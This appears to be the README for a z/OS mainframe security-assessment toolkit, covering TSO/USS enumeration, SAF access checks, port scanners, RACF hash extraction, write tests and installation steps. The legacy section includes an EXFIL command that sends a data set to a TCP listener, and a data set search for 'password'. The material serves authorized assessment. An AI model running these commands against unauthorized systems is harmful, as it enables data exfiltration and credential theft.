This repository contains tools for authorized z/OS security assessment across TSO, JES, SAF-managed resources, data sets, and z/OS UNIX System Services (USS). The primary tools are:
ENUM: TSO REXX system and security enumerationACCESS: callable HLASM helper for effective SAF access checksOMVSEnum: ordinary-user USS security enumerationGhostWalker: recursive USS permission auditing
Detailed USS build and usage instructions are in
Unix/README.md.
Use these tools only on systems and data for which you have explicit authorization.
ENUM,ACCESS,safauth, andAPFCHECKperform SAF authorization requests. They do not change the tested resources, but an external security manager can audit the requests.PDSTEST.rexxandPDSACCESSTEST.rexxintentionally attempt writes. Use disposable targets and verify cleanup.OMVSEnum --active-probesperforms bounded tests using temporary files and attributes. The default OMVSEnum run is passive.Legacy/exfil.rx,racf2john.java, content searches, and report files can expose sensitive information. Protect all resulting data.- Port scanners can trigger network monitoring and should only target approved systems and ranges.
The repository-level LICENSE is MIT. Some individual Java files
retain their own GPLv3 notices; those file-level notices continue to apply.
| File | Role | Execution environment |
|---|---|---|
ENUM |
Primary z/OS enumerator | TSO; partial USS support |
ACCESS |
Effective SAF access helper | TSO load module |
APFCHECK |
Self-contained APF library audit job | JES batch |
Legacy/SEARCHRX.rx |
Legacy RACF SEARCH wrapper | TSO |
Legacy/SYS0WN.rx |
Legacy SYSPROC/SYSEXEC mapper | TSO |
Legacy/startmap.rx |
Legacy IPL/PARMLIB mapper | TSO |
Legacy/dsnsrch.rx |
Legacy data set content search | TSO |
PDSTEST.rexx |
Data set write test | TSO; modifies data |
PDSACCESSTEST.rexx |
PDS member write test | TSO; modifies data |
Legacy/exfil.rx |
Legacy data set transfer over TCP | TSO; network egress |
The Unix directory contains OMVSEnum, GhostWalker, native SAF
support, port scanners, RACF hash extraction, a Makefile, and JCL generation.
See Unix/README.md for the complete file classification and
usage reference.
Requirements vary by tool:
- z/OS TSO/E REXX and permission to run the required TSO services
- JES submission access for JCL tools
- HLASM and a linker for
ACCESSandAPFCHECK - ASMA90, HEWL, SYS1.MACLIB and SYS1.MODGEN for the supplied compile jobs
- z/OS UNIX and Java 8 or newer for Java tools
- a 31-bit IBM C compiler for the optional USS
safauthhelper - appropriate read access to control blocks, configuration members, data sets, USS paths, and network targets being assessed
Legacy RACF-specific scripts such as Legacy/SEARCHRX.rx require RACF and
sufficient command authority. ENUM and the SAF helpers are designed to
remain useful with RACF, ACF2, or Top Secret, although available evidence
varies by ESM.
The release is ENUM.XMI, a nested TSO TRANSMIT package. Verify ENUM.XMI.sha256 locally:
shasum -a 256 -c ENUM.XMI.sha256Upload in binary mode, without ASCII/EBCDIC conversion, to a new
sequential FB 80 dataset named yourid.ENUM.XMI. Do not upload as text,
add newlines, or use a browser/editor to save its contents. Allocate enough
space for the complete artifact. With configured Zowe credentials:
zowe zos-files create data-set-sequential YOURID.ENUM.XMI \
--record-format FB --record-length 80 --block-size 27920 \
--primary-space 20 --secondary-space 5
zowe zos-files upload file-to-data-set ENUM.XMI YOURID.ENUM.XMI --binaryAt the TSO READY prompt (replace YOURID with your executing TSO ID):
RECEIVE INDATASET('YOURID.ENUM.XMI')
At RECEIVE's restore-parameters prompt enter:
DATASET('YOURID.ENUM.XMILIB')
Then execute the packaged installer:
EX 'YOURID.ENUM.XMILIB(INSTALL)'
Before receiving the outer package, ensure YOURID.ENUM.XMILIB is absent;
rename any existing copy to an unused backup name. INSTALL checks all five
destination datasets before receiving any of them and refuses existing or
indeterminate destinations. It never merges or replaces installed libraries.
If a later RECEIVE fails, successfully received earlier libraries remain;
inspect and preserve partial results before retrying.
| Dataset suffix | Contents |
|---|---|
LOADLIB |
ACCESS and APFCHECK MVS load modules |
SOURCE |
Assembler, Java and C sources, Makefile, separate compile JCL |
REXXLIB |
ENUM and all seven additional/legacy REXX utilities |
JCLLIB |
All compile, run, allocation and packaging JCL; legacy USS shell and license |
UNIXTAR |
Binary tar archive of USS JARs and native executables |
XMILIB |
Five nested XMIT members and INSTALL CLIST |
All installed dataset names use the executing user's ID. PHIL is only the
build identity used for this release. XMI/ENUM.XMI (with XMI/ENUM.XMI.sha256)
is the version-controlled copy of this current release artifact. Rebuilding
locally with release/package.jcl produces the same content at the
repository root as ENUM.XMI/ENUM.XMI.sha256; those root copies are
gitignored working output, not a separate artifact.
Run interactively:
EX 'YOURID.ENUM.REXXLIB(ENUM)' 'ALL'
Or submit YOURID.ENUM.JCLLIB(RUNENUM) through JES. This runs ENUM under
batch TSO with IKJEFT1B, uses &SYSUID..ENUM.REXXLIB as SYSEXEC and
&SYSUID..ENUM.LOADLIB as STEPLIB, and writes output to spool. Change the
argument from ALL to the desired ENUM option. No interactive TSO session
or USS deployment is required for batch execution.
ENUM resolves ACCESS with:
accessProgram = USERID() || '.ENUM.LOADLIB(ACCESS)'Set it to '' only to disable SAF access checks. All REXX member names fit
eight characters; PDSACCESSTEST.rexx maps to PDSATST.
ENUM gathers system, session, ESM, APF, SVC, TSO table, catalog, LINKLIST,
LPA, SMF, PARMLIB, and current-address-space library information. Much of the
inventory comes from z/OS control blocks rather than privileged display
commands.
EX 'YOUR.REXX.LIB(ENUM)' '<argument>'
| Argument | Description |
|---|---|
ALL |
Run the standard full inventory, including baseline AUTH checks |
ASSESS [ip] |
Run the full inventory and append assessment findings; optional IP is report metadata |
APF |
APF-authorized data sets and effective access |
AUTH [ALL] [userid] |
Curated SAF capability checks; ALL also displays denied/no-decision results |
CAT |
Master catalog information and effective access |
JOB |
Caller, account, terminal, ASID, job/session, and step context |
LIBS |
Logical PARMLIB and current address-space library DDs |
LNK |
Current LINKLIST set, APF status, volume, and effective access |
LPA |
LPA library data sets and effective access |
PATH |
Current SYSPROC/SYSEXEC-style data set concatenations |
SEC |
RACF, ACF2, or Top Secret security-manager information |
SMF |
SMF recording data sets, status, utilization, and access |
SVC |
Installed SVC inventory |
TSTA |
TESTAUTH authorization status |
TSOT |
TSO AUTHCMD, AUTHPGM, NOTBKGND, and AUTHTSF tables |
USSU |
USS/OMVS user list |
VERS |
Operating-system version information |
WHO |
Logged-on TSO and OMVS users |
HELP |
Print the compact usage banner and exit successfully |
Examples:
EX 'YOUR.REXX.LIB(ENUM)' 'SEC'
EX 'YOUR.REXX.LIB(ENUM)' 'LIBS'
EX 'YOUR.REXX.LIB(ENUM)' 'AUTH'
EX 'YOUR.REXX.LIB(ENUM)' 'AUTH ALL IBMUSER'
EX 'YOUR.REXX.LIB(ENUM)' 'ASSESS 192.0.2.10'
AUTH checks selected FACILITY, UNIXPRIV, TSOAUTH, OPERCMDS,
SURROGAT, and JESJOBS resources for the current identity. The optional
user ID changes the concrete SURROGAT and JESJOBS target; it does not impersonate
that user. Baseline current-user checks are included in ALL and ASSESS.
By default, AUTH prints granted capabilities. AUTH ALL additionally shows
DENIED, NO DECISION, and helper errors. Granted sensitive capabilities are
included in ASSESS findings.
ACCESS is silent and returns the caller's highest effective access:
| Return code | Effective access |
|---|---|
| 0 | NONE |
| 4 | READ |
| 8 | UPDATE |
| 12 | CONTROL |
| 16 | ALTER |
| 20 | UNPROTECTED / no matching protection |
| 64 | Invalid input or unexpected SAF result |
Direct TSO examples:
CALL 'YOURID.ENUM.LOADLIB(ACCESS)' 'DATASET SYS1.PARMLIB VOLSER'
CALL 'YOURID.ENUM.LOADLIB(ACCESS)' 'RESOURCE TSOAUTH READ CONSOLE'
The legacy data set form remains accepted:
CALL 'YOURID.ENUM.LOADLIB(ACCESS)' 'SYS1.PARMLIB VOLSER'
The requested RESOURCE access is a threshold used by ENUM; ACCESS returns the
highest effective level. UNPROTECTED is kept distinct from NONE.
TSO is the complete execution environment for ENUM. It can also be copied to USS and invoked there, but TSO-only evidence degrades:
- the callable
ACCESSload module andAUTHsection require TSO - effective data set access can display as
N/A - current-address-space TIOT results can be empty or limited
- commands unavailable under OMVS are skipped or reported as unavailable
The generated USS JCL runs selected ENUM sections rather than relying on a full
USS ALL run.
LIBS reads logical PARMLIB from the in-memory IPA and walks the current
address-space TIOT for SYSPROC, SYSEXEC, IEFPDSI, IEFJOBS, and
PROCxx allocations. It does not enumerate every private allocation in other
address spaces or every JES2 dynamic PROCLIB.
ASSESS appends human-readable findings and verification guidance to the
normal enumeration output. It does not currently emit a standalone JSON
document.
APFCHECK.hlasm calls CSVAPF REQUEST=LIST, checks effective dataset access
with SAF, and prints ACCESS | VOLUME | DATASET to SYSPRINT.
Submit JCLLIB(CMPAPF) to assemble/link, then JCLLIB(RUNAPF) when an
application audit is intended. The root APFCHECK file is now the run-only
JCL. Rebuilding no longer starts an APF audit.
The following older standalone tools are retained under Legacy
for reference and specialized use. They are not part of the supported ENUM or
USS deployment workflows and should be reviewed against the target system
before use.
Runs a fixed group of RACF SEARCH/SR commands for WARNING-mode data sets,
readable data sets, UNIXPRIV profiles, BPX FACILITY profiles, and SURROGAT
profiles.
EX 'YOUR.REXX.LIB(SEARCHRX)'
This script is RACF-specific and only produces useful results when the caller has sufficient RACF SEARCH authority.
Walks the current TSO address-space TIOT and reports SYSPROC/SYSEXEC data sets,
volumes, creation/reference dates, and RACF access derived through LISTDSI
and LISTDSD.
EX 'YOUR.REXX.LIB(SYS0WN)'
It is RACF- and TSO-specific. Prefer ENUM PATH or ENUM LIBS when using the
ESM-agnostic ACCESS integration.
Maps the IPL source, system symbols, logical PARMLIB, and selected startup members such as IEASYSxx, IEASYMxx, PROGxx, LPALSTxx, BPXPRMxx, and master JCL.
EX 'YOUR.REXX.LIB(STARTMAP)'
This older standalone mapper is retained for focused startup analysis. It depends on readable IPLPARM/PARMLIB members and version-sensitive control-block offsets. Review it against the target z/OS release before relying on results.
Reads a sequential input list containing one data set name per record and searches accessible PS, PDS members, and supported VSAM data for a case-insensitive string. RECFM=U data sets are skipped.
EX 'YOUR.REXX.LIB(DSNSRCH)' 'YOUR.INPUT.LIST password'
The input list must already exist. A catalog/access discovery tool can be used to prepare it. This is older utility code with limited error handling; test it against representative PS, PDS, and VSAM inputs before a large search.
Reads a list of data set names and interactively attempts a write to each target.
EX 'YOUR.REXX.LIB(PDSTEST)' 'YOUR.DSN(LIST) testtext'
This modifies data wherever the write succeeds. Do not use production targets unless the exact change is authorized and recoverable.
Prompts before attempting to create or write a named member in each listed PDS:
EX 'YOURID.ENUM.REXXLIB(PDSATST)' 'YOUR.DSN(LIST) TESTMEM'
Successful tests create or alter TESTMEM. Use a disposable member name and
perform explicit cleanup.
Experimental TSO REXX socket utility intended to send a data set to an approved TCP listener:
EX 'YOUR.REXX.LIB(EXFIL)' 'DATASET.TO.SEND 192.0.2.10 443 8443'
Treat this as sensitive, active network tooling. The current source is legacy
and should be reviewed and tested before use; do not assume that all fallback
ports or error paths behave reliably. The USS Java portscan can help
identify approved reachable listener ports.
UNIXTAR is a sequential binary tar archive, not an MVS load library.
The old XMI carried OMVSEnum.jar, GhostWalker.jar, portscan.jar, safauth,
and portscan-c. This release rebuilds those and adds RACF2John.jar.
JARs and USS executable files require this separate layout; LOADLIB holds
only MVS load modules.
USS deployment is two jobs: JCLLIB(CMPUNIX) builds, and JCLLIB(RUNUSS)
runs. Both create a private working directory under the submitting user's
own OMVS home directory (cd; home=$(pwd)), never a hardcoded /u/userid
path or /tmp, and remove it on exit.
CMPUNIX exports sources from SOURCE into that private directory, builds
every Java/C implementation, and replaces the contents of the allocated
UNIXTAR dataset. It runs no application. Build output goes to spool.
RUNUSS extracts UNIXTAR into its own private directory and runs OMVSEnum,
then GhostWalker twice against /: once with -r -m -u (read/write-accessible
paths, last-modified time, owner/group) and once with -m -u (writeable
paths, same detail). Both GhostWalker reports are written to files and then
cat to spool, since the private directory is removed on exit. The other
UNIXTAR tools (both port scanners, safauth, RACF2John) are still built by
CMPUNIX but are not run by RUNUSS; edit release/run_unix.jcl to invoke
them. Supply absolute paths for reports you want to retain outside the job.
Unix/UNIXENUM.sh now generates Unix/UNIXENUM.jcl from
release/run_unix.jcl. It uses the installed package, does not embed
thousands of source lines, and does not delete a shared USS deployment folder.
Edit the release run job, then regenerate with:
sh Unix/UNIXENUM.sh > Unix/UNIXENUM.jclThe USS Java and C port scanners now share the same CLI:
portscan <host> <start-port> <end-port>
[--timeout <ms>] [--threads <count>] [--debug]
The default is one sequential worker. -T/--threads enables experimental
parallelism with 1-64 workers; it is never enabled by the Makefile or generated
JCL. Java uses a bounded thread pool, while C uses bounded nonblocking socket
multiplexing. See Unix/README.md for build,
exit-code, and usage details.
- ACCESS returns 64: verify the mode, class length, entity, requested access value, and TSO execution environment.
- ENUM shows
N/A: confirmaccessProgram, load-library access, and that ENUM is running under TSO rather than directly under OMVS. - Assembler/linker dependencies are unavailable: adapt the supplied ASMA90/HEWL jobs and system macro-library names to local standards.
- RACF commands are rejected: use ENUM/ACCESS where possible; the legacy SEARCHRX and SYS0WN tools require authorities not granted to many assessment identities.
- USS Java is not in PATH: invoke
javaandjavacby their full/usr/lpp/java/.../binpaths or update CMPUNIX and RUNUSS.
Unix/UNIXENUM.jclis generated fromUnix/UNIXENUM.sh.- OMVSEnum and GhostWalker reports are runtime output and are not checked in.
- Compiled
.classand.jarfiles plussafauthare build products. .vscodeand.claudefiles are local editor/assistant configuration, not runtime dependencies.
See release/RELEASE_NOTES.md for the exact member mapping and build/deployment prerequisites, and release/VALIDATION.md for measured results and limits. release/members.json is the machine-readable mapping.
- Inspect existing datasets and preserve them under checked unused names.
release/allocate.jclallocates new libraries only and refuses collisions. - Stage local members with
python3 release/stage.py /tmp/enum-stage-UNIQUE. The staging directory must not already exist. Upload SOURCE, JCLLIB, REXXLIB and XMILIB directories into their corresponding allocated PDSs:zowe zos-files upload dir-to-pds /tmp/enum-stage-UNIQUE/SOURCE YOURID.ENUM.SOURCE --encoding IBM-1047(one shell line). Repeat for the other three directories. Never use text transfer for XMITs. - Submit CMPACC, CMPAPF and CMPUNIX; check individual compiler and binder diagnostics and return codes. Compile JCL is identical in SOURCE and JCLLIB. No run job is needed to build or validate packaging.
- Ensure
YOURID.ENUM.XMIis absent or preserved under an unused name. Submitrelease/package.jclor JCLLIB(PACKAGE). It uses OUTDDNAME for local XMIT output, including the sequential UNIXTAR archive. - Download
YOURID.ENUM.XMIwith Zowe--binary --file ENUM.XMI, then runshasum -a 256 ENUM.XMI > ENUM.XMI.sha256. - Repeat the binary upload/receive/installer/member comparison protocol in VALIDATION.md before publishing a changed artifact.
The installer follows the references' DATA PROMPT/ENDDATA convention. USS jobs use STDPARM for shell commands; see IBM's BPXBATCH documentation.